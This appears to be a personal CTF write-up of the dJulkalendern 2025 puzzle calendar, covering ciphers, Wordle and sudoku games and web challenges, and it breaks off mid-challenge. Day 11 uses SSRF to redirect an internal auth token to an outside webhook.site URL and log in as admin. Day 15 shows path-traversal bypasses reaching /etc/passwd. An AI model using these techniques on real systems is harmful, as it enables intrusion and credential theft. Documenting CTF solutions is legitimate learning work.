dJulkalendern 2025 Write-up
Introduction
December 2025 means another year of dJulkalendern. Similar to last year, a new challenge is released each workday at 12:15 CET.
- The solution is always a single English word, case-insensitive.
- Each friday is a Multi-user dungeon (MUD) challenge.
- Cooperation is forbidden until 14:00 CET the same day.
- Topics are varied and diverse, but always relate to computer science in one manner or another.
- The challenges (mostly) get progressively harder as the month goes on.
Day -1: Ready?
This window, Window -1, is a practice window of sorts. It does not count toward the final score. The solution is the 22nd word in the fourth paragraph (sadly enough 1-indexed) Lore Page.
Navigating to the lore section shows the following text
1
2
3
4
5
6
7
8
9
The questions left to ask: Is this really what the
Olympics deserve? Can we really allow it to
end in this scandalous way? To that I say no! If
we want our glorious sports tradition to
remain unsullied we must take back what is
rightfully ours! There are only two weeks left
until this sham of an Olympics gets started, and
you can be certain that yours truly will be there
to document its failure.
The flag thus being scandalous.
Day 1: The champion of a beginningship
The first challenge gives us a string of text: ddAAA dAAdA Adddd AdddA ddAdd.
Looking at the text, we can see that it consists of equal length segments of 5 characters, each character being either A or d.
If we convert A to 1 and d to 0, we get the following binary strings: 00111 01101 10000 10001 00100
A common cipher that uses binary strings is Bacon’s cipher, which maps 5-bit binary strings to letters of the alphabet. Using the Bacon’s cipher, we can decode the binary strings to get the following letters: H O R S E.
The flag thus being horse.
Day 2: Trie, trie, and trie again
The third challenge gives us an image of a trie data structure.
Furthermore, the text shows the following list of words:
1
2
Near nougat, never neglect.
Negotiate noir notation, note noise.
“What do you think? I was inspired by this beautiful artwork, but I feel like I didn’t quite get everything out of it. I think it probably contains two more words, but what I need is a word that starts with ‘p’. You’ll probably need to dig deep to find it, to get at the deeper meaning of the words in the Christmas trie. Come on, help me out here and show that you have what it takes to beat the Norwegians in ski chess!”
This part of the text hints that two words are hidden in the image of the trie. If we read the trie from left to right, top to bottom, we can extract the following words:
| Word | In Image | In Text |
|---|---|---|
| near | ✅ | ✅ |
| negative | ✅ | ❌ |
| neglect | ✅ | ✅ |
| negotiate | ✅ | ✅ |
| never | ✅ | ✅ |
| noir | ✅ | ✅ |
| noise | ✅ | ✅ |
| not | ✅ | ❌ |
| notation | ✅ | ✅ |
| note | ✅ | ✅ |
| nougat | ✅ | ✅ |
The only two words that are in the image but not in the text are negative and not.
The flag thus being the antonym of negative, which is positive, as it starts with p.
Day 3: Dankan’s Telephone Must Function
We are given the sound file provided below.
The last part of the audio file contains DTMF tones,
DTMF (Dual-Tone Multi-Frequency) tones are the audible beeps you hear when pressing buttons on a touch-tone phone, created by combining two specific frequencies (one high, one low) for each key press, allowing phones to send numbers and commands over phone lines for faster, automated connections, replacing older rotary dialing. These tones signal digits to telephone exchanges and are used by automated systems (IVRs) for tasks like entering account numbers or navigating menus.
these codes can be decoded using a DTMF decoder. Luckily, there are many online tools available for this purpose, such as this one.
The output of the tool gives us the following.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<truncated>
0032s .........................
0033s ...................222222
0034s 2222.......2222222222....
0035s ...4444444444........4444
0036s 44444........444444444...
0037s .....777777777........777
0038s 777777........777777777..
0039s ......3333333333.......55
0040s 55555555.......5555555555
0041s .......5555555555.......4
0042s 444444444.......444444444
0043s 4........444444444.......
0044s .666666666........3333333
0045s 33........333333333......
0046s .........................
0047s .........................
<truncated>
Decoded: 224447773555444633
The decoded DTMF tones 224447773555444633 can be mapped to letters using the traditional phone keypad mapping. A tool like dcore.fr’s Multi-tap Phone (SMS) can be used to decode the number sequence.
Giving us the flag BIRDLIME.
Day 4: Crouching duck, hidden message
This challenge gives us a bunch of text with hidden clues about what to do. I’ve provided the full text below for reference
Returning to the arena the next day, you try without success to find dAnkan. Instead, you find the construction work momentarily paused, as all the elfs are congregated in small groups. Approaching one group, you easily see that they are reading the latest issue of Waryon News, where the sensationalistic headline reads “The North Pole labor SCANDAL and how it reached new heights.” Looking around you see a lot of elfs nodding along while reading. “Psst, it’s easy to go to the control room,” says an inconspicuous trash can with a feathered voice. “I guess it is. So what?” you ask the trashcan. When you don’t get a response, you instead decide to do what the trashcan told you and jog over there. On your way over you spot elfs in various stages of revolutionary preparation, together with a weird number of World War 2 era posters like “Don’t love the squander bug when you go shopping” and “Only you can prevent item fires!” haphazardly taped to the walls, together with some old aerospace dictionaries. After you ascend the final staircase you turn a corner just in time to see a large plant move into position. A silent moment passes before the plant awkwardly beckons you over. “There are ears everywhere. We must speak in code until we have fixed this, but once we’ve done that the weird uncle newspaper shouldn’t be a problem any longer,” the anxious voice of the trashcan whispers. “Fine, sure, but what code is it?” you wonder annoyed, but the plant does not answer. Losing your patience, you lift up the plant only to find a hastily melted tunnel and a dropped queue card with the phonetic spellings of the name of the Norwegian competitors. Continuing on, you finally reach control room Sierra-Delta-Echo: the hub for the arena. Currently deserted, this is where the arena manager Winston Churchill (some relation) will oversee the games. On the big whiteboard, between building plans and notes about doping regulations, you see dAnkan’s unique handwriting: “Say the codeword into the mike quickly.” You look over at the intercom microphone which looks old enough to maybe have been used by Winston Churchill (the other one); it probably can’t even record modern words. Well, time to think through your entire day to figure out what your boss wants you to say.
The text contains several clues that point towards the use of a variant of the NATO phonetic alphabet. The dropped queue card with the phonetic spellings of the Norwegian competitors’ names suggests that we need to extract the first letter of each phonetic word mentioned in the text.
The mention towards World War 2 era posters actually hints us towards a prior version of the phonetic alphabet the NATO phonetic alphabet is based on. The Wikipedia page for Allied military phonetic spelling alphabets shows that the 1943 CCB (Combined Communications Board) phonetic alphabet was used during World War 2.
With this knowledge, to easily extract the flag, we first save the text to a file and then use the following grep command to find all occurrences of the phonetic words from the CCB alphabet:
1
grep -E -inHo '\b(Able|Baker|Charlie|Dog|Easy|Fox|George|How|Item|Jig|King|Love|Mike|Nan|Oboe|Peter|Queen|Roger|Sugar|Tare|Uncle|Victor|William|X-?ray|Yoke|Zebra)\b' path/to/file.txt
where
-Eenables extended regular expressions,-imakes the search case-insensitive,-nincludes line numbers in the output,-Hincludes the filename in the output,-ooutputs only the matching parts of the lines.
With the output being:
1
2
3
4
5
6
file.txt:1:how
file.txt:3:easy
file.txt:5:love
file.txt:5:item
file.txt:7:uncle
file.txt:11:mike
The first letters each word, and thus the flag, being helium.
Day 5: Times for delivery
December 5th 2025 is on a Friday, meaning it’s time for a MUD challenge!
As with any other MUD challenge from previous years, we start by connecting with a TCP connection using netcat and supplying a password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
::::::::: ::::::::::: ::: ::: ::: :::: :::: ::: ::: :::::::::
:+: :+: :+: :+: :+: :+: +:+:+: :+:+:+ :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +:+
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
######### ##### ######## ########## ### ### ######## ######### ₂.₀
Mysterious voice: What is your name?
>pk
Welcome pk! Use `help` for a list of commands.
[*] Write a 5 letter word using "guess <word>"!:
help
Available commands:
togglechat (join/leave chat room)
say <msg> (send a message in the chat room)
guess <word> (guesses the word)
retry (restarts the current wordle challenge)
reset (resets back to the first wordle)
The goal of the challenge is similar to the popular game Wordle, where we need to guess a 5-letter word. After each guess, we receive feedback on which letters are correct and in the correct position (green), which letters are correct but in the wrong position (yellow), and which letters are incorrect (gray).
I’m not an avid player of Wordle myself, so I decided to use multiple online Wordle solver to help me find the correct words.
Challenge 1
Using the solvers, I was able to guess the correct words for the first challenge: sleds.
Challenge 2
The second challenge was a bit trickier.
1
2
3
4
You did it! Onto the next challenge
=====
The word danka has GGGGG
Make your word match GG.Y.
This time I actually used the solver to find words that matched the pattern GG.Y.. After multiple suggestions, I found the word daunt to match the pattern.
Challenge 3
1
2
You did it! Onto the next challenge
Letters are skyscrapers - a large scraper may obscure smaller ones behind it.
This challenge introduced a new twist to the game, where larger letters can obscure smaller ones behind them. After some trial and error, I’ve found that the rule “a large scraper may obscure smaller ones behind it” applies to the sequence of guesses.
The obstacle is dictated by the previous guesses, that set a skyline height for each position. To see the color of a letter (Green/Yellow/Gray), the current A1Z26 letter value must be strictly greater than the letter in the same position of the previous guess.
The result, if your letter is smaller or equal, it is “obscured” and returns a ?.
The following snippet below shows my guesses and the feedback received:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
=====
guess whist
...GG
=====
guess misty
?.YY.
=====
guess wrist
.G???
=====
guess twist
?.???
=====
guess azure
?..??
=====
misty vs wrist:
- Pos \(3\) of
mistyiss\((19)\). Pos \(3\) ofwristisi\((9)\). Since \(9 < 19\),iis obscured (?). - Pos \(4\) of
mistyist\((20)\). Pos \(4\) ofwristiss\((19)\). Since \(19 < 20\),sis obscured (?).
twist vs azure:
- Pos \(1\) of
twistist\((20)\). Pos \(1\) ofazureisa\((1)\). Since \(1 < 20\),ais obscured (?).
We are now looking for a word fitting the pattern _ R _ S T.
- Known:
Ris correct at \(2\).Sis correct at \(4\).Tis correct at \(5\). - Eliminated:
w,h,i,m,y,u,z(either gray or obscured-but-wrong).
Likely candidates are:
frostcrest
Going for the christmasy option, I guessed frost, giving…
1
2
3
4
5
6
7
8
9
10
11
12
guess frost
?????
You did it! The word is:
/$$ /$$ /$$
| $$ | $$ |__/
/$$$$$$ | $$$$$$$ /$$$$$$ /$$$$$$ /$$$$$$/$$$$ /$$$$$$ /$$$$$$$ /$$ /$$$$$$
|_ $$_/ | $$__ $$ /$$__ $$ /$$__ $$| $$_ $$_ $$ |____ $$| $$__ $$| $$ |____ $$
| $$ | $$ \ $$| $$$$$$$$| $$ \ $$| $$ \ $$ \ $$ /$$$$$$$| $$ \ $$| $$ /$$$$$$$
| $$ /$$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$ /$$__ $$| $$ | $$| $$ /$$__ $$
| $$$$/| $$ | $$| $$$$$$$| $$$$$$/| $$ | $$ | $$| $$$$$$$| $$ | $$| $$| $$$$$$$
\___/ |__/ |__/ \_______/ \______/ |__/ |__/ |__/ \_______/|__/ |__/|__/ \_______/
The flag thus being theomania.
Day 8: Something is rotten in the state of Norway
This challenge provides a link to a Word document: norsk_jul.docx. Along with the following text:
“Norwegian team also released this propaganda piece, and I know that there is something fishy about it.”
“Hmm, what type of file is this?” you ask as you move to open the document.
“Don’t read it!” dAnkan interjects. “It will infect you with Norwegian melancholy and a desire for oil. We have to find out what the Norwegians think about this text, but we can’t open it as we can with other documents; we need to figure out another way and that is quick! If you accidentally open it, I have copies and mind-wiping eggnot at the ready. If only they had left a comment, but their coach has been eerily quiet.”
It seems we cannot open the word document directly, as the text suggests it might remove the flag. Downloading the file twice and trying to open it, LibreOffice Writer prompts me that the file is corrupted and cannot be opened.
After a file norsk_jul.docx, we see that the file is actually a ZIP archive:
1
2
$ file norsk_jul.docx
norsk_jul.docx: Zip archive data, made by v6.3, extract using at least v2.0, last modified, last modified Sun, Nov 12 2025 18:34:12, uncompressed size 0, method=store
Using zip, I chose to use the -FF option to attempt to fix the archive and then extract its contents with unzip.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ zip -FF norsk_jul.docx --out norsk_jul.zip
Fix archive (-FF) - salvage what can
Found end record (EOCDR) - says expect single disk archive
Scanning for entries...
copying: pg1524/ (0 bytes)
copying: pg1524/docProps/ (0 bytes)
copying: pg1524/docProps/app.xml (383 bytes)
copying: pg1524/docProps/core.xml (361 bytes)
copying: pg1524/word/ (0 bytes)
copying: pg1524/word/document.xml (187331 bytes)
copying: pg1524/word/fontTable.xml (583 bytes)
copying: pg1524/word/settings.xml (1058 bytes)
copying: pg1524/word/styles.xml (2943 bytes)
copying: pg1524/word/theme/ (0 bytes)
copying: pg1524/word/theme/theme1.xml (1676 bytes)
copying: pg1524/word/webSettings.xml (358 bytes)
copying: pg1524/word/_rels/ (0 bytes)
copying: pg1524/word/_rels/document.xml.rels (237 bytes)
copying: pg1524/[Content_Types].xml (337 bytes)
copying: pg1524/_rels/ (0 bytes)
copying: pg1524/_rels/.rels (233 bytes)
Central Directory found...
EOCDR found ( 1 198124)...
$ unzip norsk_jul.zip -d norsk_jul_extracted
Archive: norsk_jul.zip
creating: norsk_jul_extracted/pg1524/
creating: norsk_jul_extracted/pg1524/docProps/
inflating: norsk_jul_extracted/pg1524/docProps/app.xml
inflating: norsk_jul_extracted/pg1524/docProps/core.xml
creating: norsk_jul_extracted/pg1524/word/
inflating: norsk_jul_extracted/pg1524/word/document.xml
inflating: norsk_jul_extracted/pg1524/word/fontTable.xml
inflating: norsk_jul_extracted/pg1524/word/settings.xml
inflating: norsk_jul_extracted/pg1524/word/styles.xml
creating: norsk_jul_extracted/pg1524/word/theme/
inflating: norsk_jul_extracted/pg1524/word/theme/theme1.xml
inflating: norsk_jul_extracted/pg1524/word/webSettings.xml
creating: norsk_jul_extracted/pg1524/word/_rels/
inflating: norsk_jul_extracted/pg1524/word/_rels/document.xml.rels
inflating: norsk_jul_extracted/pg1524/[Content_Types].xml
creating: norsk_jul_extracted/pg1524/_rels/
inflating: norsk_jul_extracted/pg1524/_rels/.rels
I then open it in VS Code (VS Codium - Wayland) to inspect the contents. Opening document.xml, the following text stands out:
The flag thus being helicopter.
Day 9: No mom, I can’t pause!
This challenge is an OSINT challenge. An image hints us towards the gaming platform Steam.
In the bottom right corner of the image, we see the Steam overlay, showing us the username dAnkan within the game Counter-Strike 2.
If we go to Steam Community and search for the user dAnkan, we find the following profile: https://steamcommunity.com/id/dJulkalendern.
Reading the challenge text
You blink. “So…you hid 10 clues on your own profile to remember a picture ID…and then forgot those clues?”
We need to find 10 numbers hidden in the profile. Inspecting the profile, we find the following clues:
Profile Bio:
161803398(a.k.a. \(\varphi \approx 1.61803398\), the golden ratio)2nd page of the comments:
602135790Friend’s list:
350987654Screenshot:
314159265(a.k.a. \(\pi \approx 3.14159265\))Video:
455Game Review:
199999999Guide:
271828182(a.k.a. \(e \approx 2.71828182\))Group topic:
779451967Group event:
512345678C4 in Inventory (Counter-Strike 2 item):
423000111
Summing up all the numbers found in the clues, we get:
\[\begin{aligned} &161803398 \\ &+\,602135790 \\ &+\,350987654 \\ &+\,314159265 \\ &+\,455 \\ &+\,199999999 \\ &+\,271828182 \\ &+\,779451967 \\ &+\,512345678 \\ &+\,423000111 \\ \hline &= 3615712499 \end{aligned}\]If we supply the sum 3615712499 as the parameter for the URL https://steamcommunity.com/sharedfiles/filedetails/?id=3615712499, we get redirected to a Steam Artwork piece
The flag thus being chainsaw.
Day 10: dAnkan, we have to cook!
This challenge provides two images of what seems to be a recipe to get the flag.
The first image depicts a Telegraph Key (transmitter), used in Morse code communication. The second image just shows a duck with a beautiful background.
The text states the following hints, some of which I’ve put in bold for emphasis:
After a brief moment of silence, dAnkan realizes they have some more complaining in them. “I have never felt despair this analog, so floating. The signals she sends to me through this ancient medium tumbles me into a deep duck-pression…” “Oh it’s not that bad, boss. She got your good side atleast!” you say, your attempts at encouragement falling on deaf ears. “Come on, help me clean our pipettes, we have some chemistry to do.” “No, I’m afraid I cannot go on. Theresa has won, my spirit is crushed! I plan on moving overseas and changing my name to Finley Breese. Please, you must find some purpose for all this slander! Surely not even a witch like Theresa would sink this low without cause…”
- The hints in the text point towards using Morse code to decode the message. The mention of “analog”, “signals”, “Finley Breese”, and “ancient medium” suggests that we should use the Telegraph Key image to interpret the Morse code.
- The hints also mention “pipettes” and “chemistry”, which could be a reference to the colors of the four quadrants in the background of the 2nd image.
Plan
- Get the color of each quadrant in the background of the 2nd image
- Map them to binary
- Try to interpret the binary as morse code.
Using Firefox’s built-in color picker (Ctrl + Shift + Y), the colors of the quadrants are as follows:
| Quadrant | Color Hex |
|---|---|
| 1 (Top-Left) | #a8ae3b |
| 2 (Top-Right) | #a2e2e8 |
| 3 (Bottom-Left) | #bba2ea |
| 4 (Bottom-Right) | #2b8ee0 |
Using the Browser’s console (Javascript), we can convert the hex values to binary.
1
2
3
["a8ae3b", "a2e2e8", "bba2ea", "2b8ee0"].map(hex =>
parseInt(hex, 16).toString(2).padStart(hex.length * 4, "0")
).join("");
where
parseInt(hex, 16)converts the hex string to an integertoString(2)converts the integer to a binary stringpadStart(hex.length * 4, "0")ensures that the binary string has the correct length by padding with leading zeros if necessary.join("")concatenates the binary strings into a single string for it to become a “signal”.
The resulting binary string is: 101010001010111000111011101000101110001011101000101110111010001011101010001010111000111011100000
Next, we need to interpret this binary signal as Morse code.
- Consecutive zeros (
000) represent spaces between Morse code symbols. - Single one (
1) represents a dot (.). - Triple ones (
111) represent a dash (-). - A single zero (
0) can be ignored as it is just a separator.
1
2
3
4
5
"101010001010111000111011101000101110001011101000101110111010001011101010001010111000111011100000"
.replace(/000/g, " ")
.replace(/111/g, "-")
.replace(/1/g, ".")
.replace(/0/g, "");
The resulting Morse code string is: ... ..- --. .- .-. .--. .-.. ..- --
Finally, we can use an online Morse code decoder, such as dcode.fr’s Morse Code Translator, to decode the Morse code string.
The flag thus being sugarplum.
Day 11: Reeling in the secrets
This challenge provides us with a link to a website https://photoframe.hackfest.lol/:
Along with the following text (emphasis mine):
“No-no-no, you give me YOUR address and I’ll call you BACK. I’ll call you back with some more info! Just give me the address you want me to call. I. WILL. CALLBACK!” dAnkan angrily hangs up and looks up at you. “You know, I really thought you were sportier than this. Anywho, today we will fill the roles of secret agents.”
It seems we need to find a way to get a callback from the website. Inspecting further to the ‘Support’ page, we get the following error message.
1
2
3
4
{
"error": "Forbidden",
"message": "You need to use the correct version of the internal browser to access the page. Please make sure you have the latest version."
}
This hints us towards modifying the User-Agent header to mimic an internal browser. However, what user-agent should we use?
The first step is to try to exploit the ‘Your profile photo URL’ input field on the main page. Maybe we can employ some kind of SSRF (Server-Side Request Forgery) attack to get the server to make a request to an external service.
Using webhook.site, we can generate a unique URL to receive HTTP requests. We then input this URL into the ‘Your profile photo URL’ field and submit the form.
We can just blindly supply the webhook URL. Even though we get the following error message:
1
Unsupported image type: text/html. Supported types: image/jpeg, image/png, image/webp, image/gif
The server had to make the request to our webhook URL to determine the content type of the image. Checking our webhook.site dashboard, we see that we received a request from the server!
The User-Agent used by the server to make the request is NorthPoleExplorer/7.17.4711-advent-3+sleighride.3990730628992603. Now we can use this User-Agent to bypass the restriction on the ‘Support’ page.
There are multiple ways to modify the User-Agent header in Firefox (my browser of choice):
- From the Developer Tools (F12) -> Responsive Design Mode (Ctrl + Shift + M) -> At the top bar, an input field for User-Agent is available.
- In
about:config, setgeneral.useragent.overrideto the desired User-Agent string.- Using an extension such as Custom User-Agent Revived, although I prefer not to use extensions when possible.
After modifying the User-Agent header, we can access the ‘Support’ page without any issues.
Now, going to https://photoframe.hackfest.lol/support, we see the following page
And for https://photoframe.hackfest.lol/admin, we see the following page:
How do we login as an admin? Clicking the ‘Login with SantaAuth’ button, we get redirected to http://elf-identity.internal:4000/auth?callback=http%3A%2F%2Fphotoframe.hackfest.lol%2Flogin
However, this URL is not accessible from the public internet. We need to find a way to access this internal service. One way to do this is to exploit the SSRF vulnerability we found earlier. Using the webhook URL again, we can use it as the callback parameter in the auth URL:
1
http://elf-identity.internal:4000/auth?callback=https://webhook.site/b02e1e16-5b0a-4ad9-a8d8-28dc281c7f55
The internal service will first make a request to http://elf-identity.internal:4000/auth and then redirect to the callback URL with an authentication token.
The token is secret_santa_54N7AoFi53LFBuO3QjdJKN0R7HP0L3KKNLakcxR31nD33R70Y5i15N0WKCTzkN
Now we can use the token to login as an admin. We saw that the callback URL for the original ‘Login with SantaAuth’ request was https://photoframe.hackfest.lol/login. If we supply the token as a query parameter, we get:
1
https://photoframe.hackfest.lol/login?token=secret_santa_54N7AoFi53LFBuO3QjdJKN0R7HP0L3KKNLakcxR31nD33R70Y5i15N0WKCTzkN
Visiting this URL, we are logged in as an admin and can access the admin page.
If we go to the home page, access the VIP section, and generate a VIP photo using the image URL of my GitHub profile picture, we get the following image:
The flag thus being stroboscope.
Day 12: All aboard the number train
Another Friday, another MUD challenge. The text for this challenge includes:
The title reads “Sudoku 2: The sequel (EXTRA HARD EDITION)”.
After connecting to the server using netcat, we are greeted with the following message:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ nc mud.djul.se 6767
Please enter the password: mudcake
::::::::: ::::::::::: ::: ::: ::: :::: :::: ::: ::: :::::::::
:+: :+: :+: :+: :+: :+: +:+:+: :+:+:+ :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +#+ +:+ +#+ +:+
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
######### ##### ######## ########## ### ### ######## ######### ₂.₀
Mysterious voice: What is your name?
>pk
Welcome pk! Use `help` for a list of commands.
YOUR STACK [4, 1, 2, 3, 1, 4, 3, 2, 4, 1, 3, 4, 2, 3, 1, 2]
+---+---+---+---+
| | | | |
+---+---+---+---+
| | | | | E
+---+---+---+---+
| | X | | |
+---+---+---+---+
| | | | |
+---+---+---+---+
help
````Available commands:
togglechat (join/leave chat room)
say <msg> (send a message in the chat room)
n (go north)
s (go south)
e (go east)
w (go west)
restart (restart current level)
show (display the current room)
It seems that we have to play sudoku + snake to get the flag. The YOUR STACK line shows us the numbers we can use to fill in the sudoku grid. We can only move east (e), west (w), north (n), and south (s) to navigate the grid. The goal is to fill in the grid with the numbers from our stack, following the rules of sudoku (each number must appear only once in each row and column).
For each room, I will display the step by step commands I used to fill in the grid.
Room 1
\[W \rightarrow S \rightarrow E \rightarrow E \rightarrow E \rightarrow N \rightarrow W \rightarrow N \rightarrow W \rightarrow W \rightarrow N \rightarrow E \rightarrow E \rightarrow E \rightarrow S \rightarrow E\]yields
1
2
3
4
5
6
7
8
9
10
11
12
+---+---+---+---+
| 4 | 2 | 3 | 1 |
+---+---+---+---+
| 3 | 1 | 4 | 2 | E
+---+---+---+---+
| 1 | 4 | 2 | 3 |
+---+---+---+---+
| 2 | 3 | 1 | 4 |
+---+---+---+---+
Level clear!
Room 2
1
2
3
4
5
6
7
8
9
10
11
12
13
=== Level 2 ===
YOUR STACK [1, 3, 2, 1, 4, 1, 2, 4, 3, 2, 1, 3, 4, 2, 3, 4]
+---+---+---+---+
| | | | |
+---+---+---+---+
| | | | |
+---+---+---+---+
E | | | | |
+---+---+---+---+
| X | | | |
+---+---+---+---+
yields
1
2
3
4
5
6
7
8
9
10
11
+---+---+---+---+
| 2 | 4 | 3 | 1 |
+---+---+---+---+
| 3 | 1 | 4 | 2 |
+---+---+---+---+
E | 4 | 2 | 1 | 3 |
+---+---+---+---+
| 1 | 3 | 2 | 4 |
+---+---+---+---+
Level clear!
Room 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
=== Level 3 ===
YOUR STACK [5, 3, 1, 5, 6, 2, 5, 1, 6, 2, 4, 3, 6, 1, 2, 4, 3, 4, 6, 5, 1, 3, 4, 2, 4, 3, 1, 5, 2, 6, 4, 2, 3, 5]
+---+---+---+---+---+---+
| X | | | | | |
+---+---+---+---+---+---+
| | | | | | |
+---+---+---+---+---+---+
| | | | | | |
+---+---+---+---+---+---+
| | | | | | |
+---+---+---+---+---+---+
| | | | | 1 | | E
+---+---+---+---+---+---+
| 6 | | | | | |
+---+---+---+---+---+---+
This is a 6x6 sudoku grid with two pre-filled numbers. Here, the extra rule is that each number can only appear once in a 2x3 subgrid as well.
The commands to fill in the grid are as follows:
\[\begin{aligned} S & \rightarrow S \rightarrow E \rightarrow E \rightarrow E \rightarrow N \rightarrow W \rightarrow W \rightarrow N \rightarrow E \rightarrow E \rightarrow E \\ & \rightarrow E \rightarrow S \rightarrow W \rightarrow S \rightarrow E \rightarrow S \rightarrow W \rightarrow W \rightarrow W \rightarrow W \rightarrow W \\ & \rightarrow S \rightarrow E \rightarrow S \rightarrow E \rightarrow N \rightarrow E \rightarrow S \rightarrow E \rightarrow E \rightarrow N \rightarrow E \end{aligned}\]yields
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
+---+---+---+---+---+---+
| 5 | 2 | 4 | 3 | 6 | 1 |
+---+---+---+---+---+---+
| 3 | 6 | 1 | 5 | 4 | 2 |
+---+---+---+---+---+---+
| 1 | 5 | 6 | 2 | 3 | 4 |
+---+---+---+---+---+---+
| 2 | 4 | 3 | 1 | 5 | 6 |
+---+---+---+---+---+---+
| 4 | 3 | 2 | 6 | 1 | 5 | E
+---+---+---+---+---+---+
| 6 | 1 | 5 | 4 | 2 | 3 |
+---+---+---+---+---+---+
Level clear!
Congratulations, you win! The word is
/$$ /$$ /$$ /$$
| $$ | $$ | $$ |__/
/$$$$$$ | $$$$$$$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ /$$$$$$$ /$$ /$$$$$$$
|_ $$_/ | $$__ $$ |____ $$| $$ /$$__ $$ /$$__ $$ /$$_____/| $$ /$$_____/
| $$ | $$ \ $$ /$$$$$$$| $$| $$ \ $$| $$ \ $$| $$$$$$ | $$| $$$$$$
| $$ /$$| $$ | $$ /$$__ $$| $$| $$ | $$| $$ | $$ \____ $$| $$ \____ $$
| $$$$/| $$ | $$| $$$$$$$| $$| $$$$$$$/| $$$$$$/ /$$$$$$$/| $$ /$$$$$$$/
\___/ |__/ |__/ \_______/|__/| $$____/ \______/ |_______/ |__/|_______/
| $$
| $$
|__/
The flag thus being thalposis.
Day 14: Time for some Feedback
December 14th, 2025 was a Sunday, so no new challenge was released on this day. Instead, we’re given a mid-calendar survey to provide feedback on the challenges so far.
Note that completing this window does not award any “points” on the leaderboard.
After completing the survey, the flag is revealed.
The flag thus being sportmanship.
Day 15: Bricking towers and charming snakes
This challenges gives us a netcat server to connect to:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ nc cparta.djul.se 31337
< redacted csparta logo >
From all of us
To all of you
A small bag of tricks
Solve all levels to get a reward!
Cleared: 0/7
LEVELS:
0. forbidden
1. no_numbers_thanks
2. no_really_no_numbers
3. christmas_time
4. path_poo_poo
5. path_doo_doo
6. muh_keys_n_values
However, this time it doesn’t really seem like a MUD. Instead, we need to solve 7 different levels to get the flag.
Level 0: forbidden
1
2
3
4
5
6
LEVEL: forbidden
def forbidden(text):
text = text.replace("secret", "")
return "secret" in text
Give me some text >
The goal is to provide input text that returns True when passed to the forbidden function. However, the function removes all instances of the word “secret” from the input text before checking if “secret” is still present.
If we input the text sesecretcret, the function will only remove the middle “secret”, leaving secret and evaluates to True.
1
2
3
4
5
6
7
8
9
10
11
12
13
Give me some text > sesecretcret
Good job!
Cleared: 1/7
LEVELS:
0. forbidden 🔥 CLEARED!
1. no_numbers_thanks
2. no_really_no_numbers
3. christmas_time
4. path_poo_poo
5. path_doo_doo
6. muh_keys_n_values
Pick a level >
For the other levels, I won’t re-iterate the entire prompt, just the piece of code we need to circumvent and the solution.
Level 1: no_numbers_thanks
1
2
3
4
5
def no_numbers_thanks(text):
if text.startswith("1337") or text.endswith("1337"):
print("I said no numbers!")
return False
return int(text) == 1337
1_337 will evaluate to 1337 because it is just a visual separator in Python numeric literals, but circumvents the startswith and endswith checks.
Python 3.6 introduced a useful feature that allows us to use underscores in numeric literals. This means we can now include underscores in numbers to make them easier to read, especially when dealing with large values.
Level 2: no_really_no_numbers
1
2
3
4
5
def no_really_no_numbers(text):
if "1337" in text:
print("boo!")
return False
return int(text) == 1337
This one seems slightly trickier. However, 1_3_3_7 will still circumvent the check and will evaluate to 1337. This is because the underscores are ignored when converting the string to an integer.
Level 3: christmas_time
1
2
3
4
5
6
def christmas_time(text):
m = re.fullmatch(b"^djulkalendern$", text.encode(), re.IGNORECASE)
if m is not None:
print("Bad bad, don't try to sneak past")
return False
return text.lower() == "djulkalendern"
djulKalendern will work, but only if the K is U+212A (Kelvin sign)
Level 4: path_poo_poo
1
2
3
4
5
6
7
8
9
10
11
12
13
def path_poo_poo(text):
def remove_dots(part):
return re.sub("^[. \t\r\n]+", "", part).strip()
path_parts = text.split("/")
# protect against path traversal
path_parts = [remove_dots(part) for part in path_parts]
path = "/".join(path_parts)
base = "/zeus/hera/perseus/"
full_path = base + path
print("full_path", full_path)
return os.path.normpath(full_path) == "/etc/passwd"
This one is only beatable using the Vertical Tab character \v (U+000B). To enter this in a netcat session, we can use Ctrl + V followed by Ctrl + K.
- Type
Ctrl+V(This tells the terminal: “treat the next character literally”). - Immediately type
Ctrl+K(This is the shortcut for Vertical Tab). - You might see a weird symbol appear like ^K or nothing at all.
- Type
../ - Repeat
Ctrl+V,Ctrl+Kthen../two more times. - Finish with
etc/passwdand hitEnter.
Resulting in <Ctrl+V><Ctrl+K>../<Ctrl+V><Ctrl+K>../<Ctrl+V><Ctrl+K>../etc/passwd i.e. \v../\v../\v../etc/passwd.
The full_path will be /zeus/hera/perseus/../../../etc/passwd
Level 5: path_doo_doo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def path_doo_doo(text):
def removeAll(text, needles):
for needle in needles:
text = text.replace(needle, "")
return text
path_parts = text.split("/")
# protect against path traversal
path_parts = [removeAll(part, ["..", "\\"]) for part in path_parts]
path = "/".join(path_parts)
base = "/zeus/hera/perseus/"
full_path = base + path
print("full_path", full_path)
return os.path.normpath(full_path) == "/etc/passwd"
